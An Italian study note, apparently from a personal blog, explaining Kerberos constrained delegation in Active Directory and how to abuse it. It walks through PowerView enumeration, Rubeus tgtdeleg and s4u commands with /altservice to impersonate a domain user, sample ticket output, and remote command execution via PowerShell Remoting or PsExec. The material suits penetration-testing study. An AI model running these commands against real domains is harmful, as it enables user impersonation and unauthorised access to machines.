Active Directory

Kerberos Constrained Delegation

L’articolo che segue non ha la presunzione di essere una guida o un tutorial, è stato scritto con il solo scopo di annotare le nozioni apprese.

Kerberos è un protocollo utilizzato in ambiente Active Directory che si occupa di autenticare e autorizzare gli utenti di un dominio.

Constrained delegation è una funzionalità di Kerberos che permette di vincolare/limitare i servizi con cui un server può interagire per conto di un utente.

Realisticamente parlando significa che la constrained delegation la vedremo configurata su un’utenza di servizio (svc_sql, svc_apache, etc.)

Supponendo di avere un utente che deve accedere ad un database (il servizio) attraverso una pagina web (il server), l’utenza del web server sarà configurata per una constrained delegation verso il servizio database.

L’utente Pinco Pallino si autenticherà con le proprie credenziali attraverso la pagina web e il domain controller farà le opportune verifiche per stabilire se il web server è delegato ad accedere al database per conto di Pinco Pallino.

Come identificare constrained delegation

Con l’ausilio di PowerView attraverso il comandi:

Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth 
Get-DomainUser –TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainComputer –TrustedToAuth |select distinguishedname,msds-allowedtodelegateto

Oppure con il modulo Active Directory di Microsoft:

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Un esempio di output potrebbe essere il seguente:

> Get-DomainUser –TrustedToAuth

logoncount                    : 2800
badpasswordtime               : 3/26/2020 6:05:01 AM
distinguishedname             : CN=svc_sql\ ,OU=Service Accounts,OU=IT,OU=Users,OU=fava,DC=fava,DC=local
objectclass                   : {top, person, organizationalPerson, user}
displayname                   : svc_sql
lastlogontimestamp            : 12/20/2020 10:33:16 PM
userprincipalname             : svc_sql@fava.local
name                          : svc_sql
objectsid                     : S-1-5-21-340507432-2615605230-720798708-1292
samaccountname                : svc_sql
codepage                      : 0
samaccounttype                : USER_OBJECT
accountexpires                : NEVER
cn                            : svc_sql
whenchanged                   : 12/21/2020 3:33:16 AM
instancetype                  : 4
usncreated                    : 14270
objectguid                    : 12abb3f4-7318-4476-b699-00205fac813a
department                    : Service Accounts
lastlogoff                    : 12/31/1600 7:00:00 PM
msds-allowedtodelegateto      : {time/m4ch1ne.fava.local, time/m4ch1ne}
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=fava,DC=local
dscorepropagationdata         : 1/1/1601 12:00:00 AM
serviceprincipalname          : mssqlsvc/db.fava.local
givenname                     : svc_sql
memberof                      : CN=Service Accounts,OU=Security Groups,OU=fava,DC=fava,DC=local
lastlogon                     : 12/21/2020 4:31:57 PM
badpwdcount                   : 0
useraccountcontrol            : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated                   : 1/2/2020 3:39:59 PM
countrycode                   : 0
primarygroupid                : 513
pwdlastset                    : 1/2/2020 10:39:59 AM
msds-supportedencryptiontypes : 24
usnchanged                    : 241750

In questo esempio l’account di servizio svc_sql è configurato per la constrained delegation e lo si vede attraverso TRUSTED_TO_AUTH_FOR_DELEGATION attivo sulla proprietà useraccountcontrol. Per capire verso quale servizio è attiva la delegation bisogna controllare la proprietà msds-allowedtodelegateto. In questo caso svc_sql è delegato verso il servizio time sulla macchina m4ch1ne.

Questo vuol dire che l’account di servizio svc_sql può interagire con il servizio o i servizi elencati in msds-allowedtodelegateto impersonando qualsiasi utenza non protetta di dominio. Utenza non protetta significa che ha l’attributo AdminCount=False. E’ visibile con bloodhound. https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/

Dal momento che non c’è nessun controllo sul nome (SPN) del servizio a cui si tenta di accedere sfruttando la constrained delegation, svc_sql oltre a poter impersonare qualsiasi utente, può utilizzare qualsiasi servizio!

Per esempio in questo caso specifico la constrained delegation è abilitata su svc_sql verso SPN time su m4ch1ne ma è possibile interagire anche con servizi più delicati tipo cifs per leggere i file su disco, host e http per avere una shell sulla macchina.

Come abusarne?

Considerando di aver compromesso l’account svc_sql e di poter eseguire comandi con questa utenza ci sono due possibili scenari:

  • Non si conosce la password o NTLM hash di svc_sql
  • Si conosce la password o NTLM hash di svc_sql

Non conosco la password

Senza conoscere né la password né l’hash NTLM è possibile abusare di constrained delegation attraverso Rubeus. Per poter utilizzare Rubeus è necessario fare AV evasion, argomento che non tratterò in questo articolo.

Attraverso Rubeus è possibile richiedere un TGT come svc_sql:

.\Rubeus.exe tgtdeleg

Apro una breve parentesi sul TGT (Ticket Granting Ticket), un token utilizzato per poter richiedere service tickets al TGS (Ticket Granting Service, il servizio che distribuisci i tickets). I service tickets consentono di accedere ai servizi.

Il TGT è stato introdotto per evitare il continuo inserimento della password da parte dell’utente ogni volta che ha la necessità di utilizzare un servizio o accedere ad una risorsa in ambiente AD.

Con il TGT richiesto da Rubeus è possibile quindi richiedere il service ticket per fruire del servizio time/m4ch1ne.

Di seguito in esempio di output di Rubeus:

.\Rubeus.exe tgtdeleg

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/favadc.fava.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: G+VECC4dzRjL5QpY1T7uTQUXr/EEOT5CHVPfF3/JZ6o=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA60nBfQJlpb+r7MG qPb9oiFdB5+haLB0MSbDhxi9K0F/ZvNjD/SdYSIBmXFQOlV1qKga2zNUqka9wzZ/+kbhL3VkEsuO7T4YZORAKTsMdOd5H5GyFrMmE6wFa5j30dzrdTL81npwLO4n5dCYG9ZEZ8DHEKF7jRqSb44Gw18C3W/sohiw6oMzgwvBUd79sm2P0IDa0L3xNrkkCF6zISi35agQ3BGQ/of8xLm5T9XNwppjyBqM13kpaEXSYv1dbQNQC84uN2ZlxdsC9oK4uyeI+cHov/BfRH5yy0K4A7vMdWG08sKRHT6Jho9IFE84Lx5ueXsOni61QMcUk4O0wu6O5KRF369gQb0o+h9c2i+LFO/erVvu77rTrgOXfp+Sw9pEzjMr5/PABTWUn+TrkWtSKUVmtGOSjTZbqGwhaw64OmxKNOzzp4nIN/zo8Ow4ABE/Ps0CZaBIjM5+EU1DbSctZXFq8j2WoZOHw/9bFf55x0OmF057eDPdXHQvrwPVX2VL8Ltd1F3iBfDiRuqW6Vihd2lDgwp3KToxVLNhnjYaswJ6pVpfqAdXkrk1dqR5LzRIGUm+bZtSFz53FpIXY9d+UeBKPMMVHQ5k+fm/0mKPo5Rp/tj6fwCqUKJ3IbpJRLl1O2w1JP+h1wIKuFAy1RMsrXO7WRVp4+hiBDJUb3F1DVUL/uJOEy8enwkbWjMCE4cChd1wfEDddB94oMVuRCjtPPITIz2MamLhaFxFHPAwVX4TaMbOCWmthotxOXrEl1Wl24/Qn8je0ZSTIdCYnTCn4lvxHhDl/oH702CU6rURU48V1B5ZcXRsfmyURbb9g/4yeCoLlS23pkWCQgF8qtag1otuCBfBz7uVOWIrLs4wSbrxNial8h3TgzKJ90WRYEJgE1hrN4MrzWTqMIbyCyHgdLdYc2zkTc8AD3VjyxCeVlSF7WvMh3e8ZhMkZSrT4Jkip4W7XhTwrzuE0LmNqEQm4lG2UUcJv/cnJddUqkLe7+LjOi5fk9Fxt01tqEbofMTqdEmKc7i4ZvjxyaDvtCh+vg0w/NwohnRqq3DvUdmCLvsI8ovSyulbW41O68vuv3PDjAJqk78w3Xf/T+EWZfwKy55kO0WXw7ITkyZw4AbR8+SejhIPMZq5ihToBZozqPameWYBcrBnZdcyU+6SzcawQS6q668wSuaGf2AgxG/UV2BIfBV9r5ZjoQ27bqlL3lXJr452DD4yMGACca3JN/YwCpoN/LpBMD1dqhGPOQ6OB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIIWpDcyLFcldoa+x1KmW/5blBslzKA62br6sYuj5f92foQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDEyMTkxMDQ0MTZaphEYDzIwMjAxMjE5MjAzMTU3WqcRGA8yMDIwMTIyNjEwMzE1N1qoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw=

Rubeus stampa a schermo il blob base64 del ticket. La stringa può essere convertita in un file .kirbi come segue:

echo stringablobticket |base64 -d > TGT.kirbi

A questo punto è possibile chiedere il service ticket per il servizio time ma anche per servizi alternativi utilizzando il parametro /altservice.

Di seguito viene richiesto il service ticket per time/m4ch1ne che sarebbe il servizio verso cui è abilitata la constrained delegation, ma anche per http/m4ch1ne, host/m4ch1ne, cifs/m4ch1ne proprio perché non c’è nessuna verifica sul nome di SPN.

svc_sql attraverso il TGT sta chiedendo il service ticket per accedere ai servizi elencati impersonando l’utente Pinco.Pallino, un utente di dominio.

.\Rubeus.exe s4u /ticket:TGT.kirbi /impersonateuser:Pinco.Pallino /domain:fava.local /msdsspn:time/m4ch1ne /altservice:cifs,host,http /dc:favadc.fava.local /ptt

Fatto! con il comando klist sarà possibile accertare la presenza dei ticket per accedere ai servizi richiesti.

Con il ticket per host e http, se Powershell Remoting è abilitato sulla macchina m4ch1ne sarà possibile eseguire comandi come segue:

$session = New-PsSession -ComputerName m4ch1ne.fava.local
Invoke-Command -ScriptBlock { whoami } -Session $session

Se Powershell Remoting non è abilitato potremmo utilizzare PsExec:

.\PsExec.exe -accepteula \\m4ch1ne.fava.local cmd

Conosco la password o NTLM hash

Se conosco l’hash posso utilizzare il comando seguente per richiedere il service ticket.

.\Rubeus.exe s4u /rc4:cc098f204c5887vfa8253e7c2749156f /user:svc_sql /impersonateuser:Pinco.Pallino /domain:fava.local /msdsspn:time/m4ch1ne /altservice:cifs,host,http /dc:favadc.fava.local

Se conosco la password posso generare l’hash come segue e poi utilizzare il comando precedente.

.\Rubeus.exe hash /password:123456 /user:svc_sql /domain:fava.local

Non è sempre così facile

Il servizio configurato per la constrained delegation può impersonare qualsiasi utente non protetto del dominio e richiedere il ticket per qualsiasi SPN, però non è detto che l’utente impersonato abbia il permesso, per esempio, di utilizzare Powershell Remoting sulla macchina m4ch1ne. Occorrerà quindi prendere di testare un’altra utenza.

Glossario

TGT: Un ticket che può essere utilizzato per ottenere altri tickets. Il TGT si ottiene dopo l’autenticazione iniziale. Successivamente gli utenti non devono immettere nuovamente le proprie credenziali, ma possono utilizzare il TGT per ottenere i ticket successivi.

TGS: Un servizio che emette tickets per poter accedere ad altri servizi nel dominio o per accedere al servizio TGS in un altro dominio.

Service ticket: Un ticket per qualsiasi servizio diverso dal servizio di concessione ticket (TGS). Un service ticket serve solo a classificare un ticket come non ticket-granting ticket (TGT).

SPN: Il nome che identifica un’entità di sicurezza (ad esempio, machinename$@ domainname per una macchina di un dominio o username@domainname per un utente).

Service 4 User (S4U): Estensioni al protocollo Kerberos che consentono a un servizio di ottenere un service ticket per un utente che non si è autenticato. S4U include S4U2proxy e S4U2self.

Service for user to proxy (S4U2proxy): Un’estensione che consente a un servizio di ottenere un service ticket per conto di un utente al fine di accedere ad un altro servizio.

Service for user to proxy (S4U2Self): Un’estensione che consente a un servizio di ottenere un service ticket per se stesso. Il service ticket contiene i gruppi dell’utente e può quindi essere utilizzato nelle decisioni di autorizzazione.